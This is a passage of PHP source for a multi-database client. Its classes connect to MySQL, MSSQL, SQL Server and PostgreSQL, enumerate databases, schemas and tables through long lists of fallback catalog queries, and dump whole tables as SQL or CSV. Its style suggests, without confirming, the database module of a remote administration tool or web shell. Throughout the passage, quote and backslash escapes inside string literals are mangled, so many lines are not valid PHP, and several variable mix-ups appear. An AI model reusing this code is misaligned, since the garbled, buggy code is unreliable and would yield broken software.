$a[$v] === "REAL") && ($s = mysql_field_len($q, $i))) { $a[$v] .= "(" . $s . ")"; } if (is_string($s = mysql_field_flags($q, $i))) { if (strpos($s, "unsigned") !== FALSE) { $a[$v] .= " UNSIGNED"; } if (strpos($s, "zerofill") !== FALSE) { $a[$v] .= " ZEROFILL"; } if (strpos($s, "not_null") !== FALSE) { $a[$v] .= " NOT NULL"; } if (strpos($s, "auto_increment") !== FALSE) { $a[$v] .= " AUTO_INCREMENT"; } if (strpos($s, "primary_key") !== FALSE) { $a[$v] .= " PRIMARY KEY"; } elseif (strpos($s, "unique_key") !== FALSE) { $a[$v] .= " UNIQUE KEY"; } elseif (strpos($s, "multiple_key") !== FALSE) { $a[$v] .= ", KEY(" . mysqlEscName($v) . ")"; } } } while (is_string($v = mysql_field_name($q, ++$i))); return $a; } } if (($v = mysql_query("SELECT * FROM " . $e . " LIMIT 1", $this->_cnct)) && ($v = mysql_fetch_assoc($v))) { foreach ($v as $k => $s) { $a[$k] = ''; } return $a; } return FALSE; } function fetchAssoc() { return mysql_fetch_assoc($this->_res); } function fetchRow() { return mysql_fetch_row($this->_res); } function query($v) { return $this->_res = mysql_query($v, $this->_cnct); } function dump($b, $t, $c, $f) { if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "mysqlEscName"); if (($q = mysql_unbuffered_query("SELECT " . $c . " FROM " . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "mysqlEscData"); } else { csvOutValues($v); } } while ($v = mysql_fetch_row($q)); if ($f) { echo ";
"; } mysql_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "." . $t); } return $i; } function close() { mysql_close($this->_cnct); } } class MySQLiClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if ($h !== NULL && ($v = strrpos($h, ":"))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else { $t = NULL; } if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t))) { return FALSE; } mysqli_query($this->_cnct, "SET NAMES " . $this->charset($c)); return TRUE; } function getError() { if ($this->_cnct) { $v = mysqli_error($this->_cnct); mysqli_close($this->_cnct); return $v; } return mysqli_connect_error(); } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mysqli_query($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $t) { if ($v = mysqli_query($this->_cnct, "SELECT COUNT(*) FROM " . mysqlEscName($b, $t))) { $v = mysqli_fetch_row($v); return $v[0]; } return ""?""; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } $e = mysqlEscName($b, $t); $q = FALSE; if ($q = mysqli_query($this->_cnct, "SELECT * FROM " . $e . " LIMIT 1")) { $y = array("DECIMAL", "TINYINT", "SMALLINT", "INT", "FLOAT", "DOUBLE", "NULL", "TIMESTAMP", "BIGINT", "MEDIUMINT", "DATE", "TIME", "DATETIME", "YEAR", "NEWDATE", 16 => "BIT", 246 => "DECIMAL", 247 => "ENUM", 248 => "SET", 249 => "TINY", 250 => "MEDIUM", 251 => "LONG", 252 => '', 253 => "VARCHAR", 254 => "CHAR", 255 => "GEOMETRY"); if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) { $v = array(); do { $v[] = $i; } while ($i = mysqli_fetch_field($q)); } if ($v) { foreach ($v as $i) { if ($i->type > 248 && $i->type < 253) { $s = $y[$i->type] . ($i->flags & 16 ? "BLOB" : "TEXT"); } else { $s = isset($y[$i->type]) ? $y[$i->type] : "BLOB"; } if ($i->flags & 32768) { $s .= "(" . $i->length; if ($i->decimals) { $s .= "," . $i->decimals; } $s .= ")"; } if ($i->flags & 32) { $s .= " UNSIGNED"; } if ($i->flags & 64) { $s .= " ZEROFILL"; } if ($i->flags & 1) { $s .= " NOT NULL"; } if (isset($i->def) && $i->def !== '' && $i->def !== NULL) { $s .= " DEFAULT " . mysqlEscData($i->def); } if ($i->flags & 512) { $s .= " AUTO_INCREMENT"; } if ($i->flags & 2) { $s .= " PRIMARY KEY"; } elseif ($i->flags & 4 || $i->flags & 65536) { $s .= " UNIQUE KEY"; } elseif ($i->flags & 8 || $i->flags & 16384) { $s .= ", KEY(" . mysqlEscName($i->name) . ")"; } $a[$i->name] = $s; } return $a; } if ($v = mysqli_fetch_assoc($q)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function fetchAssoc() { return mysqli_fetch_assoc($this->_res); } function fetchRow() { return mysqli_fetch_row($this->_res); } function query($v) { return $this->_res = mysqli_query($this->_cnct, $v); } function dump($b, $t, $c, $f) { if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "mysqlEscName"); if (($q = mysqli_query($this->_cnct, "SELECT " . $c . " FROM " . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "mysqlEscData"); } else { csvOutValues($v); } } while ($v = mysqli_fetch_row($q)); if ($f) { echo ";
"; } mysqli_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "." . $t); } return $i; } function close() { mysqli_close($this->_cnct); } } function mssqlEscData($v) { return "'" . str_replace("'", "''", $v) . "'"; } function mssqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = "[" . str_replace("]", "]]", $v) . "]"; } return implode(".", $a); } class MSSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL; function getBases() { return $this->tryQueries(array("SELECT name FROM sys.databases", "SELECT name FROM sys.sysdatabases", "SELECT name FROM master.dbo.sysdatabases", "EXEC sp_oledb_database", "EXEC master.dbo.sp_msdbuseraccess "db"", "EXEC master.sys.sp_msdbuseraccess "db"", "EXEC sp_msforeachdb 'SELECT ''?'''", "EXEC sp_helpdb", "EXEC sp_databases", "EXEC sp_oledb_defdb", "SELECT DISTINCT catalog_name FROM information_schema.schemata", "SELECT DB_NAME()")); } function getSchemas($b) { return $this->tryQueries(array("SELECT NULL,schema_name FROM information_schema.schemata", "SELECT NULL,name FROM sys.schemas", "SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.all_objects", "EXEC sp_schemata_rowset", "SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.objects", "SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.tables", "SELECT NULL,name FROM sys.database_principals WHERE type='S'")); } function getTables($b, $s) { $s = mssqlEscData($s); if ($this->query("SELECT SCHEMA_ID(" . $s . ")") && ($v = $this->fetchRow()) && $v[0]) { $sr = "schema_id=" . $v[0]; $ur = "uid=" . $v[0]; } else { $sr = "SCHEMA_NAME(schema_id)=" . $s; $ur = "SCHEMA_NAME(uid)=" . $s; } return $this->tryQueries(array("SELECT name FROM sys.all_objects WHERE type IN('U','S','V') AND " . $sr, "EXEC sp_tables @table_owner=" . $s, "SELECT name FROM sys.objects WHERE type IN('U','S','V') AND " . $sr, "SELECT name FROM sysobjects WHERE xtype IN('U','S','V') AND " . $ur, "SELECT table_name FROM information_schema.tables WHERE table_schema=" . $s, "SELECT name FROM sys.tables WHERE " . $sr, "EXEC sp_msforeachtable 'SELECT PARSENAME(''?'',1)', @whereand='AND " . str_replace("'", "''", $sr) . "'")); } function getColumns($b, $s, $t) { $a = array(); $sd = mssqlEscData($s); $sn = mssqlEscName($s); $td = mssqlEscData($t); $tn = mssqlEscName($t); $stdn = mssqlEscData($sn . "." . $tn); if ($this->query("EXEC sp_columns " . $td . "," . $sd) && ($v = $this->fetchRow())) { do { $v[5] = strtoupper($v[5]); if ($v[10] === 0) { $v[5] .= " NOT NULL"; } if ($v[12] !== NULL) { $v[5] .= " DEFAULT" . $v[12]; } $a[$v[3]] = $v[5]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("EXEC sp_help " . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) { do { $v[1] = strtoupper($v[1]); if ($v[6] === "no") { $v[1] .= " NOT NULL"; } $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("EXEC sp_mshelpcolumns " . $stdn) && ($v = $this->fetchRow())) { do { $v[6] = strtoupper($v[6]); if ($v[9] === 0) { $v[6] .= " NOT NULL"; } if ($v[17] !== NULL) { $v[6] .= " DEFAULT" . $v[17]; } $a[$v[0]] = $v[6]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=" . $td . " AND table_schema=" . $sd) && ($v = $this->fetchRow())) { do { $v[1] = strtoupper($v[1]); if ($v[2] === "NO") { $v[1] .= " NOT NULL"; } if ($v[3] !== NULL) { $v[1] .= " DEFAULT" . $v[3]; } $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("EXEC sp_columns_managed @owner=" . $sd . ", @table=" . $td) && ($v = $this->fetchRow())) { do { $v[7] = strtoupper($v[7]); if ($v[6] === "NO") { $v[7] .= " NOT NULL"; } if ($v[5] !== NULL) { $v[7] .= " DEFAULT" . $v[5]; } $a[$v[3]] = $v[7]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("SELECT OBJECT_ID(" . $stdn . ")") && ($v = $this->fetchRow())) { $r = "object_id=" . $v[0]; $i = "id=" . $v[0]; } else { $r = "OBJECT_SCHEMA_NAME(object_id)=" . $sd . " AND OBJECT_NAME(object_id)=" . $td; $i = "OBJECT_SCHEMA_NAME(id)=" . $sd . " AND OBJECT_NAME(id)=" . $td; } if ($this->tryQueries(array("SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.all_columns WHERE " . $r, "SELECT name,TYPE_NAME(xtype),isnullable FROM syscolumns WHERE " . $i, "SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.columns WHERE " . $r))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2] === 0) { $v[1] .= " NOT NULL"; } $a[$v[0]] = $v[1]; } return $a; } if ($this->query("EXEC sp_columns_rowset " . $td . "," . $sd) && ($v = $this->fetchRow())) { do { $v[11] = "BINARY"; if ($v[10] === 0) { $v[11] .= " NOT NULL"; } if ($v[8] !== NULL) { $v[11] .= " DEFAULT" . $v[8]; } $a[$v[3]] = $v[11]; } while ($v = $this->fetchRow()); return $a; } return FALSE; } } class MSSQLClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mssql_connect($h, $u, $p))) { return FALSE; } return $this->setBase($b); } function getError() { $v = mssql_get_last_message(); if ($this->_cnct) { mssql_close($this->_cnct); } return $v; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mssql_query($v, $this->_cnct)) { return TRUE; } } return FALSE; } function fetchBase() { if (($v = mssql_fetch_row($this->_res)) || mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))) { return $v[0]; } return FALSE; } function fetchSchema() { return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE; } function fetchTable() { if (($v = mssql_fetch_row($this->_res)) || mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function getTableSize($b, $s, $t) { return ($v = mssql_query("SELECT COUNT(*) FROM " . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : ""?""; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query("USE " . mssqlEscName($v), $this->_cnct)) { return FALSE; } $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } $a = array(); if ($q = mssql_query("SELECT TOP 1 * FROM " . mssqlEscName($b, $s, $t), $this->_cnct)) { if ($v = mssql_fetch_field($q)) { do { $a[$v->name] = strtoupper($v->type); } while ($v = mssql_fetch_field($q)); return $a; } if (is_string($v = mssql_field_name($q, 0))) { $i = 0; do { $a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : ''; } while (is_string($v = mssql_field_name($q, ++$i))); return $a; } if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { $v = $l < 1000 ? 1000 : $l; if (!($this->_res = mssql_query("SELECT TOP " . ($o + $l) . " " . sqlJoinColumns($c, "mssqlEscName") . " FROM " . mssqlEscName($b, $s, $t), $this->_cnct, $v))) { return FALSE; } $k = floor($o / $v); for ($i = 0; $i < $k; ++$i) { if (!mssql_fetch_batch($this->_res)) { return FALSE; } } $k = $o - $k * $v; if ($k > 0 && !mssql_data_seek($this->_res, $k)) { return FALSE; } return TRUE; } function fetchAssoc() { return mssql_fetch_array($this->_res, MSSQL_ASSOC); } function fetchRow() { if (($v = mssql_fetch_row($this->_res)) || mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res))) { return $v; } return FALSE; } function nextResult() { return mssql_next_result($this->_res); } function query($v) { return $this->_res = mssql_query($v, $this->_cnct); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "BINARY", "mssqlEscName"); } else { $i = sprintf(E_CNSTCS, $b . "." . $s . "." . $t); } } $c = sqlJoinColumns($c, "mssqlEscName"); if (($q = mssql_query("SELECT " . $c . " FROM " . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "
"; } $d = FALSE; do { do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "mssqlEscData"); } else { csvOutValues($v); } } while ($v = mssql_fetch_row($q)); } while (mssql_fetch_batch($q)); if ($f) { echo ";
"; } mssql_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "." . $s . "." . $t); } return $i; } function close() { mssql_close($this->_cnct); } } class SQLSrvClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $a = array(); if ($u !== NULL) { $a["UID"] = $u; } if ($p !== NULL) { $a["PWD"] = $p; } if ($b !== NULL) { $a["Database"] = $b; } return $this->_cnct = sqlsrv_connect($h, $a); } function getError() { $v = sqlsrv_errors(); if ($this->_cnct) { sqlsrv_close($this->_cnct); } return $v ? $v[0]["message"] : ''; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = sqlsrv_query($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[0] : FALSE; } function fetchSchema() { return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE; } function fetchTable() { if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function getTableSize($b, $s, $t) { return ($v = sqlsrv_query($this->_cnct, "SELECT COUNT(*) FROM " . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC)) ? $v[0] : ""?""; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } $a = array(); if ($q = sqlsrv_query($this->_cnct, "SELECT TOP 1 * FROM " . mssqlEscName($b, $s, $t))) { if ($v = sqlsrv_field_metadata($q)) { $y = array(1 => "CHAR", 2 => "NUMERIC", 3 => "DECIMAL", 4 => "INT", 5 => "SMALLINT", 6 => "FLOAT", 7 => "REAL", 12 => "VARCHAR", 91 => "DATE", 93 => "DATETIME", -1 => "TEXT", -2 => "BINARY", -3 => "VARBINARY", -4 => "IMAGE", -5 => "BIGINT", -6 => "TINYINT", -7 => "BIT", -8 => "NCHAR", -9 => "NVARCHAR", -10 => "NTEXT", -11 => "UNIQUEIDENTIFIER", -151 => "UDT", -152 => "XML", -154 => "TIME", -155 => "DATETIMEOFFSET"); foreach ($v as $i) { $i["Type"] = isset($y["Type"]) ? $y["Type"] : "BINARY"; if ($i["Nullable"] === SQLSRV_NULLABLE_NO) { $i["Type"] .= " NOT NULL"; } $a[$i["Name"]] = $i["Type"]; } return $a; } if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return ($this->_res = sqlsrv_query($this->_cnct, "SELECT TOP " . ($o + $l) . " " . sqlJoinColumns($c, "mssqlEscName") . " FROM " . mssqlEscName($b, $s, $t), array(), array("Scrollable" => SQLSRV_CURSOR_DYNAMIC))) && sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o); } function fetchAssoc() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC); } function fetchRow() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC); } function nextResult() { return sqlsrv_next_result($this->_res); } function query($v) { return $this->_res = sqlsrv_query($this->_cnct, $v); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!sqlsrv_query($this->_cnct, "USE " . mssqlEscName($b))) { return FALSE; } $this->_base = $v; } return TRUE; } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "BINARY", "mssqlEscName"); } else { $i = sprintf(E_CNSTCS, $b . "." . $s . "." . $t); } } $c = sqlJoinColumns($c, "mssqlEscName"); if (($q = sqlsrv_query($this->_cnct, "SELECT " . $c . " FROM " . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "mssqlEscData"); } else { csvOutValues($v); } } while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC)); if ($f) { echo ";
"; } sqlsrv_free_stmt($q); } else { $i .= sprintf(E_SLCTDT, $b . "." . $s . "." . $t); } return $i; } function close() { sqlsrv_close($this->_cnct); } } function pgsqlEscData($v) { return "'" . str_replace(array("\", "'"), array("\\", "''"), $v) . "'"; } function pgsqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = """ . str_replace(""", """", $v) . """; } return implode(".", $a); } class PGSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL; function fillParams($h, $u, $p) { $v = array(); if ($h !== NULL) { if ($i = strrpos($h, ":")) { $v[] = "host=" . $this->escParam(substr($h, 0, $i)); $v[] = "port=" . substr($h, $i + 1); } else { $v[] = "host=" . $this->escParam($h); } } if ($u !== NULL) { $v[] = "user=" . $this->escParam($u); } if ($p !== NULL) { $v[] = "password=" . $this->escParam($p); } $this->_params = implode(" ", $v); } function charset($k) { $v = array("UTF8", "UTF8", "WIN1250", "WIN1251", "WIN1252", "WIN1254", "WIN1256", "WIN1257", "LATIN1", "LATIN2", "ISO_8859_7", "ISO_8859_8", "LATIN5", "LATIN7", "BIG5", "GBK", "SJIS", "EUC_KR", "EUC_JP", "WIN866", "KOI8R", "KOI8U"); return isset($v[$k]) ? $v[$k] : "utf8"; } function escParam($v) { return "'" . addcslashes($v, "'\") . "'"; } function getBases() { return $this->tryQueries(array("SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate", "SELECT datname FROM pg_catalog.pg_stat_database", "SELECT datname FROM pg_catalog.pg_stat_database_conflicts", "SELECT current_database()")); } function getSchemas($b) { if (!$this->setBase($b)) { return FALSE; } return $this->tryQueries(array("SELECT schema_name FROM information_schema.schemata", "SELECT nspname FROM pg_catalog.pg_namespace", "SELECT DISTINCT table_schema FROM information_schema.tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_all_tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_all_tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_sys_tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_sys_tables", "SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_sys_tables", "SELECT DISTINCT table_schema FROM information_schema.columns", "SELECT DISTINCT schemaname FROM pg_catalog.pg_stats")); } function getTables($b, $s) { if (!$this->setBase($b)) { return FALSE; } $s = pgsqlEscData($s); return $this->tryQueries(array("SELECT table_name FROM information_schema.tables WHERE table_schema=" . $s, "SELECT relname FROM pg_catalog.pg_stat_all_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_statio_all_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_stat_xact_all_tables WHERE schemaname=" . $s, "SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_stat_sys_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_stat_user_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_statio_sys_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_statio_user_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_stat_xact_sys_tables WHERE schemaname=" . $s, "SELECT relname FROM pg_catalog.pg_stat_xact_user_tables WHERE schemaname=" . $s)); } function getColumns($b, $s, $t) { $a = array(); if ($this->tryQueries(array("SELECT column_name,udt_name,is_nullable,column_default FROM information_schema.columns WHERE table_name=" . pgsqlEscData($t) . " AND table_schema=" . pgsqlEscData($s), "SELECT a.attname, FORMAT_TYPE(a.atttypid,a.atttypmod), a.attnotnull, d.adsrc FROM pg_attribute a LEFT JOIN pg_attrdef d ON d.adrelid=a.attrelid AND d.adnum=a.attnum WHERE attrelid = " . pgsqlEscData(pgsqlEscName($s, $t)) . "::regclass AND attnum>0 AND NOT attisdropped"))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2][0] === "N" || $v[2][0] === "f") { $v[1] .= " NOT NULL"; } if ($v[3] !== NULL) { $v[1] .= " DEFAULT " . pgsqlEscData($v[3]); } $a[$v[0]] = $v[1]; } return $a; } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return $this->query("SELECT " . sqlJoinColumns($c, "pgsqlEscName") . " FROM " . pgsqlEscName($s, $t) . " LIMIT " . $l); } } class PGSQLClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $v = $this->_params; if ($b !== NULL) { $v .= " dbname=" . $this->escParam($b); } $this->_cnct = pg_connect($v); if (!$this->_cnct && $b === NULL) { $this->_cnct = pg_connect($this->_params . " dbname=template1"); } if (!$this->_cnct) { return FALSE; } pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($c) . "'"); return TRUE; } function getError() { if ($this->_cnct) { $v = PHP_VERSION >= "4.2" ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct); pg_close($this->_cnct); return $v; } return ''; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = pg_exec($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; pg_close($this->_cnct); if (!($this->_cnct = pg_connect($this->_params . " dbname=" . $this->escParam($v)))) { return FALSE; } $this->_base = $v; pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'"); } return TRUE; } function fetchSchema() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $s, $t) { if ($v = pg_exec($this->_cnct, "SELECT COUNT(*) FROM " . pgsqlEscName($s, $t))) { $v = pg_fetch_row($v); return $v[0]; } return ""?""; } function getColumns($b, $s, $t) { $a = parent::getColumns($b, $s, $t); if ($a) { return $a; } $a = array(); if (PHP_VERSION >= "4.3" && ($v = pg_meta_data($this->_cnct, $s . "." . $t))) { foreach ($v as $k => $i) { $a[$k] = strtoupper($i["type"]); if ($i["not null"]) { $a[$k] .= " NOT NULL"; } } return $a; } if (PHP_VERSION >= "4.2" && ($q = pg_exec($this->_cnct, "SELECT * FROM " . pgsqlEscName($s, $t) . " LIMIT 0"))) { $i = 0; while (($v = pg_field_name($q, $i)) !== FALSE) { $a[$k] = pg_field_type($q, $i++); } return $a; } if (($v = pg_exec($this->_cnct, "SELECT * FROM " . pgsqlEscName($s, $t) . " LIMIT 1")) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) { foreach ($v as $k) { $a[$k] = ''; } return $a; } return FALSE; } function query($v) { return $this->_res = pg_exec($this->_cnct, $v); } function fetchAssoc() { return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC); } function fetchRow() { return pg_fetch_row($this->_res); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "BINARY", "pgsqlEscName"); } else { $i = sprintf(E_CNSTCS, $b . "." . $s . "." . $t); } } $c = sqlJoinColumns($c, "pgsqlEscName"); if (pg_exec($this->_cnct, "BEGIN; DECLARE c CURSOR FOR SELECT " . $c . " FROM " . pgsqlEscName($s, $t))) { if (($v = pg_exec($this->_cnct, "FETCH NEXT FROM c")) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) { if ($f) { sqlOutInsert(pgsqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $c = $this->_cnct; $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "\xa"; } if ($f) { sqlOutValues($v, "pgsqlEscData"); } else { csvOutValues($v); } } while (($v = pg_exec($c, "FETCH NEXT FROM c")) && ($v = pg_fetch_row($v))); if ($f) { echo ";
"; } } pg_exec("CLOSE c; ROLLBACK"); } else { $i .= sprintf(E_SLCTDT, $b . "." . $t); } return $i; } function close() { pg_close($this->_cnct); } } if (PHP_VERSION >= "5") { class MySQLPDOClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL && ($v = strrpos($h, ":"))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else { $t = NULL; } if ($h !== NULL) { $a[] = "host=" . $h; } if ($t !== NULL) { $a[] = "port=" . $t; } if ($b !== NULL) { $a[] = "dbname=" . $b; } try { $v = new PDO("mysql:" . implode(";", $a), $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query("SET NAMES " . $this->charset($c)); $this->_cnct = $v; return TRUE; } function getTableSize($b, $t) { return $this->sqlTableSize(mysqlEscName($b, $t)); } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } return $this->getColumnsNames(mysqlEscName($b, $t)); } function fetchRow() { $r = $this->_res->fetch(PDO::FETCH_NUM); if (defined("MPDFIX") && is_int(MPDFIX)) { $this->_res->closeCursor(); } return $r; } function dump($b, $t, $c, $f) { define("MPDFIX", 1); if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "mysqlEscName"); $this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE); if (($q = $this->_cnct->query("SELECT " . $c . " FROM " . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode(";", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "," : "
